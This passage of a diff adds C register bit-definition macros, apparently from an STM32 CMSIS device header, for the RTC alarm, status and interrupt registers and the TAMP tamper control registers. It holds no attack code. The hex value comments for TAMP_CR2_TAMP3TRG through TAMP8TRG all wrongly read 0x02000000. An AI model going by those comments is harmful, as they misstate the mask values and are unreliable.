RTC_ALRMBR_SU_0 (0x1UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMBR_SU_1 (0x2UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMBR_SU_2 (0x4UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000004 */ +#define RTC_ALRMBR_SU_3 (0x8UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMBR_ST_Pos (4U) +#define RTC_ALRMBR_ST_Msk (0x7UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMBR_ST RTC_ALRMBR_ST_Msk +#define RTC_ALRMBR_ST_0 (0x1UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMBR_ST_1 (0x2UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMBR_ST_2 (0x4UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMBR_MSK1_Pos (7U) +#define RTC_ALRMBR_MSK1_Msk (0x1UL << RTC_ALRMBR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMBR_MSK1 RTC_ALRMBR_MSK1_Msk +#define RTC_ALRMBR_MNU_Pos (8U) +#define RTC_ALRMBR_MNU_Msk (0xFUL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMBR_MNU RTC_ALRMBR_MNU_Msk +#define RTC_ALRMBR_MNU_0 (0x1UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMBR_MNU_1 (0x2UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMBR_MNU_2 (0x4UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMBR_MNU_3 (0x8UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMBR_MNT_Pos (12U) +#define RTC_ALRMBR_MNT_Msk (0x7UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMBR_MNT RTC_ALRMBR_MNT_Msk +#define RTC_ALRMBR_MNT_0 (0x1UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMBR_MNT_1 (0x2UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMBR_MNT_2 (0x4UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMBR_MSK2_Pos (15U) +#define RTC_ALRMBR_MSK2_Msk (0x1UL << RTC_ALRMBR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMBR_MSK2 RTC_ALRMBR_MSK2_Msk +#define RTC_ALRMBR_HU_Pos (16U) +#define RTC_ALRMBR_HU_Msk (0xFUL << RTC_ALRMBR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMBR_HU RTC_ALRMBR_HU_Msk +#define RTC_ALRMBR_HU_0 (0x1UL << RTC_ALRMBR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMBR_HU_1 (0x2UL << RTC_ALRMBR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMBR_HU_2 (0x4UL << RTC_ALRMBR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMBR_HU_3 (0x8UL << RTC_ALRMBR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMBR_HT_Pos (20U) +#define RTC_ALRMBR_HT_Msk (0x3UL << RTC_ALRMBR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMBR_HT RTC_ALRMBR_HT_Msk +#define RTC_ALRMBR_HT_0 (0x1UL << RTC_ALRMBR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMBR_HT_1 (0x2UL << RTC_ALRMBR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMBR_PM_Pos (22U) +#define RTC_ALRMBR_PM_Msk (0x1UL << RTC_ALRMBR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMBR_PM RTC_ALRMBR_PM_Msk +#define RTC_ALRMBR_MSK3_Pos (23U) +#define RTC_ALRMBR_MSK3_Msk (0x1UL << RTC_ALRMBR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMBR_MSK3 RTC_ALRMBR_MSK3_Msk +#define RTC_ALRMBR_DU_Pos (24U) +#define RTC_ALRMBR_DU_Msk (0xFUL << RTC_ALRMBR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMBR_DU RTC_ALRMBR_DU_Msk +#define RTC_ALRMBR_DU_0 (0x1UL << RTC_ALRMBR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBR_DU_1 (0x2UL << RTC_ALRMBR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBR_DU_2 (0x4UL << RTC_ALRMBR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBR_DU_3 (0x8UL << RTC_ALRMBR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBR_DT_Pos (28U) +#define RTC_ALRMBR_DT_Msk (0x3UL << RTC_ALRMBR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMBR_DT RTC_ALRMBR_DT_Msk +#define RTC_ALRMBR_DT_0 (0x1UL << RTC_ALRMBR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMBR_DT_1 (0x2UL << RTC_ALRMBR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMBR_WDSEL_Pos (30U) +#define RTC_ALRMBR_WDSEL_Msk (0x1UL << RTC_ALRMBR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMBR_WDSEL RTC_ALRMBR_WDSEL_Msk +#define RTC_ALRMBR_MSK4_Pos (31U) +#define RTC_ALRMBR_MSK4_Msk (0x1UL << RTC_ALRMBR_MSK4_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBR_MSK4 RTC_ALRMBR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMBSSR register *************/ +#define RTC_ALRMBSSR_SS_Pos (0U) +#define RTC_ALRMBSSR_SS_Msk (0x7FFFUL << RTC_ALRMBSSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMBSSR_SS RTC_ALRMBSSR_SS_Msk +#define RTC_ALRMBSSR_MASKSS_Pos (24U) +#define RTC_ALRMBSSR_MASKSS_Msk (0x3FUL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x3F000000 */ +#define RTC_ALRMBSSR_MASKSS RTC_ALRMBSSR_MASKSS_Msk +#define RTC_ALRMBSSR_MASKSS_0 (0x1UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBSSR_MASKSS_1 (0x2UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBSSR_MASKSS_2 (0x4UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBSSR_MASKSS_3 (0x8UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBSSR_MASKSS_4 (0x10UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x10000000 */ +#define RTC_ALRMBSSR_MASKSS_5 (0x20UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x20000000 */ +#define RTC_ALRMBSSR_SSCLR_Pos (31U) +#define RTC_ALRMBSSR_SSCLR_Msk (0x1UL << RTC_ALRMBSSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBSSR_SSCLR RTC_ALRMBSSR_SSCLR_Msk + +/******************** Bits definition for RTC_SR register *******************/ +#define RTC_SR_ALRAF_Pos (0U) +#define RTC_SR_ALRAF_Msk (0x1UL << RTC_SR_ALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SR_ALRAF RTC_SR_ALRAF_Msk +#define RTC_SR_ALRBF_Pos (1U) +#define RTC_SR_ALRBF_Msk (0x1UL << RTC_SR_ALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SR_ALRBF RTC_SR_ALRBF_Msk +#define RTC_SR_WUTF_Pos (2U) +#define RTC_SR_WUTF_Msk (0x1UL << RTC_SR_WUTF_Pos) /*!< 0x00000004 */ +#define RTC_SR_WUTF RTC_SR_WUTF_Msk +#define RTC_SR_TSF_Pos (3U) +#define RTC_SR_TSF_Msk (0x1UL << RTC_SR_TSF_Pos) /*!< 0x00000008 */ +#define RTC_SR_TSF RTC_SR_TSF_Msk +#define RTC_SR_TSOVF_Pos (4U) +#define RTC_SR_TSOVF_Msk (0x1UL << RTC_SR_TSOVF_Pos) /*!< 0x00000010 */ +#define RTC_SR_TSOVF RTC_SR_TSOVF_Msk +#define RTC_SR_ITSF_Pos (5U) +#define RTC_SR_ITSF_Msk (0x1UL << RTC_SR_ITSF_Pos) /*!< 0x00000020 */ +#define RTC_SR_ITSF RTC_SR_ITSF_Msk +#define RTC_SR_SSRUF_Pos (6U) +#define RTC_SR_SSRUF_Msk (0x1UL << RTC_SR_SSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SR_SSRUF RTC_SR_SSRUF_Msk + +/******************** Bits definition for RTC_MISR register *****************/ +#define RTC_MISR_ALRAMF_Pos (0U) +#define RTC_MISR_ALRAMF_Msk (0x1UL << RTC_MISR_ALRAMF_Pos) /*!< 0x00000001 */ +#define RTC_MISR_ALRAMF RTC_MISR_ALRAMF_Msk +#define RTC_MISR_ALRBMF_Pos (1U) +#define RTC_MISR_ALRBMF_Msk (0x1UL << RTC_MISR_ALRBMF_Pos) /*!< 0x00000002 */ +#define RTC_MISR_ALRBMF RTC_MISR_ALRBMF_Msk +#define RTC_MISR_WUTMF_Pos (2U) +#define RTC_MISR_WUTMF_Msk (0x1UL << RTC_MISR_WUTMF_Pos) /*!< 0x00000004 */ +#define RTC_MISR_WUTMF RTC_MISR_WUTMF_Msk +#define RTC_MISR_TSMF_Pos (3U) +#define RTC_MISR_TSMF_Msk (0x1UL << RTC_MISR_TSMF_Pos) /*!< 0x00000008 */ +#define RTC_MISR_TSMF RTC_MISR_TSMF_Msk +#define RTC_MISR_TSOVMF_Pos (4U) +#define RTC_MISR_TSOVMF_Msk (0x1UL << RTC_MISR_TSOVMF_Pos) /*!< 0x00000010 */ +#define RTC_MISR_TSOVMF RTC_MISR_TSOVMF_Msk +#define RTC_MISR_ITSMF_Pos (5U) +#define RTC_MISR_ITSMF_Msk (0x1UL << RTC_MISR_ITSMF_Pos) /*!< 0x00000020 */ +#define RTC_MISR_ITSMF RTC_MISR_ITSMF_Msk +#define RTC_MISR_SSRUMF_Pos (6U) +#define RTC_MISR_SSRUMF_Msk (0x1UL << RTC_MISR_SSRUMF_Pos) /*!< 0x00000040 */ +#define RTC_MISR_SSRUMF RTC_MISR_SSRUMF_Msk + +/******************** Bits definition for RTC_SMISR register *****************/ +#define RTC_SMISR_ALRAMF_Pos (0U) +#define RTC_SMISR_ALRAMF_Msk (0x1UL << RTC_SMISR_ALRAMF_Pos) /*!< 0x00000001 */ +#define RTC_SMISR_ALRAMF RTC_SMISR_ALRAMF_Msk +#define RTC_SMISR_ALRBMF_Pos (1U) +#define RTC_SMISR_ALRBMF_Msk (0x1UL << RTC_SMISR_ALRBMF_Pos) /*!< 0x00000002 */ +#define RTC_SMISR_ALRBMF RTC_SMISR_ALRBMF_Msk +#define RTC_SMISR_WUTMF_Pos (2U) +#define RTC_SMISR_WUTMF_Msk (0x1UL << RTC_SMISR_WUTMF_Pos) /*!< 0x00000004 */ +#define RTC_SMISR_WUTMF RTC_SMISR_WUTMF_Msk +#define RTC_SMISR_TSMF_Pos (3U) +#define RTC_SMISR_TSMF_Msk (0x1UL << RTC_SMISR_TSMF_Pos) /*!< 0x00000008 */ +#define RTC_SMISR_TSMF RTC_SMISR_TSMF_Msk +#define RTC_SMISR_TSOVMF_Pos (4U) +#define RTC_SMISR_TSOVMF_Msk (0x1UL << RTC_SMISR_TSOVMF_Pos) /*!< 0x00000010 */ +#define RTC_SMISR_TSOVMF RTC_SMISR_TSOVMF_Msk +#define RTC_SMISR_ITSMF_Pos (5U) +#define RTC_SMISR_ITSMF_Msk (0x1UL << RTC_SMISR_ITSMF_Pos) /*!< 0x00000020 */ +#define RTC_SMISR_ITSMF RTC_SMISR_ITSMF_Msk +#define RTC_SMISR_SSRUMF_Pos (6U) +#define RTC_SMISR_SSRUMF_Msk (0x1UL << RTC_SMISR_SSRUMF_Pos) /*!< 0x00000040 */ +#define RTC_SMISR_SSRUMF RTC_SMISR_SSRUMF_Msk + +/******************** Bits definition for RTC_SCR register ******************/ +#define RTC_SCR_CALRAF_Pos (0U) +#define RTC_SCR_CALRAF_Msk (0x1UL << RTC_SCR_CALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SCR_CALRAF RTC_SCR_CALRAF_Msk +#define RTC_SCR_CALRBF_Pos (1U) +#define RTC_SCR_CALRBF_Msk (0x1UL << RTC_SCR_CALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SCR_CALRBF RTC_SCR_CALRBF_Msk +#define RTC_SCR_CWUTF_Pos (2U) +#define RTC_SCR_CWUTF_Msk (0x1UL << RTC_SCR_CWUTF_Pos) /*!< 0x00000004 */ +#define RTC_SCR_CWUTF RTC_SCR_CWUTF_Msk +#define RTC_SCR_CTSF_Pos (3U) +#define RTC_SCR_CTSF_Msk (0x1UL << RTC_SCR_CTSF_Pos) /*!< 0x00000008 */ +#define RTC_SCR_CTSF RTC_SCR_CTSF_Msk +#define RTC_SCR_CTSOVF_Pos (4U) +#define RTC_SCR_CTSOVF_Msk (0x1UL << RTC_SCR_CTSOVF_Pos) /*!< 0x00000010 */ +#define RTC_SCR_CTSOVF RTC_SCR_CTSOVF_Msk +#define RTC_SCR_CITSF_Pos (5U) +#define RTC_SCR_CITSF_Msk (0x1UL << RTC_SCR_CITSF_Pos) /*!< 0x00000020 */ +#define RTC_SCR_CITSF RTC_SCR_CITSF_Msk +#define RTC_SCR_CSSRUF_Pos (6U) +#define RTC_SCR_CSSRUF_Msk (0x1UL << RTC_SCR_CSSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SCR_CSSRUF RTC_SCR_CSSRUF_Msk + +/******************** Bits definition for RTC_OR register ******************/ +#define RTC_OR_OUT2_RMP_Pos (0U) +#define RTC_OR_OUT2_RMP_Msk (0x1UL << RTC_OR_OUT2_RMP_Pos) /*!< 0x00000001 */ +#define RTC_OR_OUT2_RMP RTC_OR_OUT2_RMP_Msk + +/******************** Bits definition for RTC_ALRABINR register ******************/ +#define RTC_ALRABINR_SS_Pos (0U) +#define RTC_ALRABINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRABINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRABINR_SS RTC_ALRABINR_SS_Msk + +/******************** Bits definition for RTC_ALRBBINR register ******************/ +#define RTC_ALRBBINR_SS_Pos (0U) +#define RTC_ALRBBINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRBBINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRBBINR_SS RTC_ALRBBINR_SS_Msk + +/******************************************************************************/ +/* */ +/* Tamper and backup register (TAMP) */ +/* */ +/******************************************************************************/ +/******************** Bits definition for TAMP_CR1 register *****************/ +#define TAMP_CR1_TAMP1E_Pos (0U) +#define TAMP_CR1_TAMP1E_Msk (0x1UL << TAMP_CR1_TAMP1E_Pos) /*!< 0x00000001 */ +#define TAMP_CR1_TAMP1E TAMP_CR1_TAMP1E_Msk +#define TAMP_CR1_TAMP2E_Pos (1U) +#define TAMP_CR1_TAMP2E_Msk (0x1UL << TAMP_CR1_TAMP2E_Pos) /*!< 0x00000002 */ +#define TAMP_CR1_TAMP2E TAMP_CR1_TAMP2E_Msk +#define TAMP_CR1_TAMP3E_Pos (2U) +#define TAMP_CR1_TAMP3E_Msk (0x1UL << TAMP_CR1_TAMP3E_Pos) /*!< 0x00000004 */ +#define TAMP_CR1_TAMP3E TAMP_CR1_TAMP3E_Msk +#define TAMP_CR1_TAMP4E_Pos (3U) +#define TAMP_CR1_TAMP4E_Msk (0x1UL << TAMP_CR1_TAMP4E_Pos) /*!< 0x00000008 */ +#define TAMP_CR1_TAMP4E TAMP_CR1_TAMP4E_Msk +#define TAMP_CR1_TAMP5E_Pos (4U) +#define TAMP_CR1_TAMP5E_Msk (0x1UL << TAMP_CR1_TAMP5E_Pos) /*!< 0x00000010 */ +#define TAMP_CR1_TAMP5E TAMP_CR1_TAMP5E_Msk +#define TAMP_CR1_TAMP6E_Pos (5U) +#define TAMP_CR1_TAMP6E_Msk (0x1UL << TAMP_CR1_TAMP6E_Pos) /*!< 0x00000020 */ +#define TAMP_CR1_TAMP6E TAMP_CR1_TAMP6E_Msk +#define TAMP_CR1_TAMP7E_Pos (6U) +#define TAMP_CR1_TAMP7E_Msk (0x1UL << TAMP_CR1_TAMP7E_Pos) /*!< 0x00000040 */ +#define TAMP_CR1_TAMP7E TAMP_CR1_TAMP7E_Msk +#define TAMP_CR1_TAMP8E_Pos (7U) +#define TAMP_CR1_TAMP8E_Msk (0x1UL << TAMP_CR1_TAMP8E_Pos) /*!< 0x00000080 */ +#define TAMP_CR1_TAMP8E TAMP_CR1_TAMP8E_Msk +#define TAMP_CR1_ITAMP1E_Pos (16U) +#define TAMP_CR1_ITAMP1E_Msk (0x1UL << TAMP_CR1_ITAMP1E_Pos) /*!< 0x00010000 */ +#define TAMP_CR1_ITAMP1E TAMP_CR1_ITAMP1E_Msk +#define TAMP_CR1_ITAMP2E_Pos (17U) +#define TAMP_CR1_ITAMP2E_Msk (0x1UL << TAMP_CR1_ITAMP2E_Pos) /*!< 0x00020000 */ +#define TAMP_CR1_ITAMP2E TAMP_CR1_ITAMP2E_Msk +#define TAMP_CR1_ITAMP3E_Pos (18U) +#define TAMP_CR1_ITAMP3E_Msk (0x1UL << TAMP_CR1_ITAMP3E_Pos) /*!< 0x00040000 */ +#define TAMP_CR1_ITAMP3E TAMP_CR1_ITAMP3E_Msk +#define TAMP_CR1_ITAMP4E_Pos (19U) +#define TAMP_CR1_ITAMP4E_Msk (0x1UL << TAMP_CR1_ITAMP4E_Pos) /*!< 0x00080000 */ +#define TAMP_CR1_ITAMP4E TAMP_CR1_ITAMP4E_Msk +#define TAMP_CR1_ITAMP5E_Pos (20U) +#define TAMP_CR1_ITAMP5E_Msk (0x1UL << TAMP_CR1_ITAMP5E_Pos) /*!< 0x00100000 */ +#define TAMP_CR1_ITAMP5E TAMP_CR1_ITAMP5E_Msk +#define TAMP_CR1_ITAMP6E_Pos (21U) +#define TAMP_CR1_ITAMP6E_Msk (0x1UL << TAMP_CR1_ITAMP6E_Pos) /*!< 0x00200000 */ +#define TAMP_CR1_ITAMP6E TAMP_CR1_ITAMP6E_Msk +#define TAMP_CR1_ITAMP7E_Pos (22U) +#define TAMP_CR1_ITAMP7E_Msk (0x1UL << TAMP_CR1_ITAMP7E_Pos) /*!< 0x00400000 */ +#define TAMP_CR1_ITAMP7E TAMP_CR1_ITAMP7E_Msk +#define TAMP_CR1_ITAMP8E_Pos (23U) +#define TAMP_CR1_ITAMP8E_Msk (0x1UL << TAMP_CR1_ITAMP8E_Pos) /*!< 0x00800000 */ +#define TAMP_CR1_ITAMP8E TAMP_CR1_ITAMP8E_Msk +#define TAMP_CR1_ITAMP9E_Pos (24U) +#define TAMP_CR1_ITAMP9E_Msk (0x1UL << TAMP_CR1_ITAMP9E_Pos) /*!< 0x01000000 */ +#define TAMP_CR1_ITAMP9E TAMP_CR1_ITAMP9E_Msk +#define TAMP_CR1_ITAMP11E_Pos (26U) +#define TAMP_CR1_ITAMP11E_Msk (0x1UL << TAMP_CR1_ITAMP11E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP11E TAMP_CR1_ITAMP11E_Msk +#define TAMP_CR1_ITAMP12E_Pos (27U) +#define TAMP_CR1_ITAMP12E_Msk (0x1UL << TAMP_CR1_ITAMP12E_Pos) /*!< 0x08000000 */ +#define TAMP_CR1_ITAMP12E TAMP_CR1_ITAMP12E_Msk +#define TAMP_CR1_ITAMP13E_Pos (28U) +#define TAMP_CR1_ITAMP13E_Msk (0x1UL << TAMP_CR1_ITAMP13E_Pos) /*!< 0x10000000 */ +#define TAMP_CR1_ITAMP13E TAMP_CR1_ITAMP13E_Msk +#define TAMP_CR1_ITAMP15E_Pos (30U) +#define TAMP_CR1_ITAMP15E_Msk (0x1UL << TAMP_CR1_ITAMP15E_Pos) /*!< 0x40000000 */ +#define TAMP_CR1_ITAMP15E TAMP_CR1_ITAMP15E_Msk + +/******************** Bits definition for TAMP_CR2 register *****************/ +#define TAMP_CR2_TAMP1NOERASE_Pos (0U) +#define TAMP_CR2_TAMP1NOERASE_Msk (0x1UL << TAMP_CR2_TAMP1NOERASE_Pos) /*!< 0x00000001 */ +#define TAMP_CR2_TAMP1NOERASE TAMP_CR2_TAMP1NOERASE_Msk +#define TAMP_CR2_TAMP2NOERASE_Pos (1U) +#define TAMP_CR2_TAMP2NOERASE_Msk (0x1UL << TAMP_CR2_TAMP2NOERASE_Pos) /*!< 0x00000002 */ +#define TAMP_CR2_TAMP2NOERASE TAMP_CR2_TAMP2NOERASE_Msk +#define TAMP_CR2_TAMP3NOERASE_Pos (2U) +#define TAMP_CR2_TAMP3NOERASE_Msk (0x1UL << TAMP_CR2_TAMP3NOERASE_Pos) /*!< 0x00000004 */ +#define TAMP_CR2_TAMP3NOERASE TAMP_CR2_TAMP3NOERASE_Msk +#define TAMP_CR2_TAMP4NOERASE_Pos (3U) +#define TAMP_CR2_TAMP4NOERASE_Msk (0x1UL << TAMP_CR2_TAMP4NOERASE_Pos) /*!< 0x00000008 */ +#define TAMP_CR2_TAMP4NOERASE TAMP_CR2_TAMP4NOERASE_Msk +#define TAMP_CR2_TAMP5NOERASE_Pos (4U) +#define TAMP_CR2_TAMP5NOERASE_Msk (0x1UL << TAMP_CR2_TAMP5NOERASE_Pos) /*!< 0x00000010 */ +#define TAMP_CR2_TAMP5NOERASE TAMP_CR2_TAMP5NOERASE_Msk +#define TAMP_CR2_TAMP6NOERASE_Pos (5U) +#define TAMP_CR2_TAMP6NOERASE_Msk (0x1UL << TAMP_CR2_TAMP6NOERASE_Pos) /*!< 0x00000020 */ +#define TAMP_CR2_TAMP6NOERASE TAMP_CR2_TAMP6NOERASE_Msk +#define TAMP_CR2_TAMP7NOERASE_Pos (6U) +#define TAMP_CR2_TAMP7NOERASE_Msk (0x1UL << TAMP_CR2_TAMP7NOERASE_Pos) /*!< 0x00000040 */ +#define TAMP_CR2_TAMP7NOERASE TAMP_CR2_TAMP7NOERASE_Msk +#define TAMP_CR2_TAMP8NOERASE_Pos (7U) +#define TAMP_CR2_TAMP8NOERASE_Msk (0x1UL << TAMP_CR2_TAMP8NOERASE_Pos) /*!< 0x00000080 */ +#define TAMP_CR2_TAMP8NOERASE TAMP_CR2_TAMP8NOERASE_Msk +#define TAMP_CR2_TAMP1MSK_Pos (16U) +#define TAMP_CR2_TAMP1MSK_Msk (0x1UL << TAMP_CR2_TAMP1MSK_Pos) /*!< 0x00010000 */ +#define TAMP_CR2_TAMP1MSK TAMP_CR2_TAMP1MSK_Msk +#define TAMP_CR2_TAMP2MSK_Pos (17U) +#define TAMP_CR2_TAMP2MSK_Msk (0x1UL << TAMP_CR2_TAMP2MSK_Pos) /*!< 0x00020000 */ +#define TAMP_CR2_TAMP2MSK TAMP_CR2_TAMP2MSK_Msk +#define TAMP_CR2_TAMP3MSK_Pos (18U) +#define TAMP_CR2_TAMP3MSK_Msk (0x1UL << TAMP_CR2_TAMP3MSK_Pos) /*!< 0x00040000 */ +#define TAMP_CR2_TAMP3MSK TAMP_CR2_TAMP3MSK_Msk +#define TAMP_CR2_BKBLOCK_Pos (22U) +#define TAMP_CR2_BKBLOCK_Msk (0x1UL << TAMP_CR2_BKBLOCK_Pos) /*!< 0x00400000 */ +#define TAMP_CR2_BKBLOCK TAMP_CR2_BKBLOCK_Msk +#define TAMP_CR2_BKERASE_Pos (23U) +#define TAMP_CR2_BKERASE_Msk (0x1UL << TAMP_CR2_BKERASE_Pos) /*!< 0x00800000 */ +#define TAMP_CR2_BKERASE TAMP_CR2_BKERASE_Msk +#define TAMP_CR2_TAMP1TRG_Pos (24U) +#define TAMP_CR2_TAMP1TRG_Msk (0x1UL << TAMP_CR2_TAMP1TRG_Pos) /*!< 0x01000000 */ +#define TAMP_CR2_TAMP1TRG TAMP_CR2_TAMP1TRG_Msk +#define TAMP_CR2_TAMP2TRG_Pos (25U) +#define TAMP_CR2_TAMP2TRG_Msk (0x1UL << TAMP_CR2_TAMP2TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP2TRG TAMP_CR2_TAMP2TRG_Msk +#define TAMP_CR2_TAMP3TRG_Pos (26U) +#define TAMP_CR2_TAMP3TRG_Msk (0x1UL << TAMP_CR2_TAMP3TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP3TRG TAMP_CR2_TAMP3TRG_Msk +#define TAMP_CR2_TAMP4TRG_Pos (27U) +#define TAMP_CR2_TAMP4TRG_Msk (0x1UL << TAMP_CR2_TAMP4TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP4TRG TAMP_CR2_TAMP4TRG_Msk +#define TAMP_CR2_TAMP5TRG_Pos (28U) +#define TAMP_CR2_TAMP5TRG_Msk (0x1UL << TAMP_CR2_TAMP5TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP5TRG TAMP_CR2_TAMP5TRG_Msk +#define TAMP_CR2_TAMP6TRG_Pos (29U) +#define TAMP_CR2_TAMP6TRG_Msk (0x1UL << TAMP_CR2_TAMP6TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP6TRG TAMP_CR2_TAMP6TRG_Msk +#define TAMP_CR2_TAMP7TRG_Pos (30U) +#define TAMP_CR2_TAMP7TRG_Msk (0x1UL << TAMP_CR2_TAMP7TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP7TRG TAMP_CR2_TAMP7TRG_Msk +#define TAMP_CR2_TAMP8TRG_Pos (31U) +#define TAMP_CR2_TAMP8TRG_Msk (0x1UL << TAMP_CR2_TAMP8TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP8TRG TAMP_CR2_TAMP8TRG_Msk + +/******************** Bits definition for TAMP_CR3 register *****************/ +#define TAMP_CR3_ITAMP1NOER_Pos (0U) +#define TAMP_CR3_ITAMP1NOER_Msk (0x1UL << TAMP_CR3_ITAMP1NOER_Pos) /*!< 0x00000001 */ +#define TAMP_CR3_ITAMP1NOER TAMP_CR3_ITAMP1NOER_Msk +#define TAMP_CR3_ITAMP2NOER_Pos (1U) +#define TAMP_CR3_ITAMP2NOER_Msk (0x1UL << TAMP_CR3_ITAMP2NOER_Pos) /*!< 0x00000002 */ +#define TAMP_CR3_ITAMP2NOER TAMP_CR3_ITAMP2NOER_Msk +#define TAMP_CR3_ITAMP3NOER_Pos (2U) +#define TAMP_CR3_ITAMP3NOER_Msk (0x1UL << TAMP_CR3_ITAMP3NOER_Pos) /*!< 0x00000004 */ +#define TAMP_CR3_ITAMP3NOER TAMP_CR3_ITAMP3NOER_Msk +#define TAMP_CR3_ITAMP4NOER_Pos (3U) +#define TAMP_CR3_ITAMP4NOER_Msk (0x1UL << TAMP_CR3_ITAMP4NOER_Pos) /*!< 0x00000008 */ +#define TAMP_CR3_ITAMP4NOER TAMP_CR3_ITAMP4NOER_Msk +#define TAMP_CR3_ITAMP5NOER_Pos (4U) +#define TAMP_CR3_ITAMP5NOER_Msk (0x1UL << TAMP_CR3_ITAMP5NOER_Pos) /*!< 0x00000010 */ +#define TAMP_CR3_ITAMP5NOER TAMP_CR3_ITAMP5NOER_Msk +#define TAMP_CR3_ITAMP6NOER_Pos (5U) +#define TAMP_CR3_ITAMP6NOER_Msk (0x1UL << TAMP_CR3_ITAMP6NOER_Pos) /*!< 0x00000020 */ +#define TAMP_CR3_ITAMP6NOER TAMP_CR3_ITAMP6NOER_Msk +#define TAMP_CR3_ITAMP7NOER_Pos (6U) +#define TAMP_CR3_ITAMP7NOER_Msk (0x1UL << TAMP_CR3_ITAMP7NOER_Pos) /*!< 0x00000040 */ +#define TAMP_CR3_ITAMP7NOER TAMP_CR3_ITAMP7NOER_Msk +#define TAMP_CR3_ITAMP8NOER_Pos (7U) +#define TAMP_CR3_ITAMP8NOER_Msk (0x1UL << TAMP_CR3_ITAMP8NOER_Pos) /*!< 0x00000080 */ +#define TAMP_CR3_ITAMP8NOER TAMP_CR3_ITAMP8NOER_Msk +#define TAMP_CR3_ITAMP9NOER_Pos (8U) +#define TAMP_CR3_ITAMP9NOER_Msk (0x1UL << TAMP_CR3_ITAMP9NOER_Pos) /*!< 0x00000100 */ +#define TAMP_CR3_ITAMP9NOER TAMP_CR3_ITAMP9NOER_Msk +#define TAMP_CR3_ITAMP11NOER_Pos (10U) +#define TAMP_CR3_ITAMP11NOER_Msk (0x1UL << TAMP_CR3_ITAMP11NOER_Pos) /*!< 0x00000400 */ +#define TAMP_CR3_ITAMP11NOER TAMP_CR3_ITAMP11NOER_Msk +#define TAMP_CR3_ITAMP12NOER_Pos (11U) +#define TAMP_CR3_ITAMP12NOER_Msk (0x1UL << TAMP_CR3_ITAMP12NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP12NOER TAMP_CR3_ITAMP12NOER_Msk +#define TAMP_CR3_ITAMP13NOER_Pos (12U) +#define 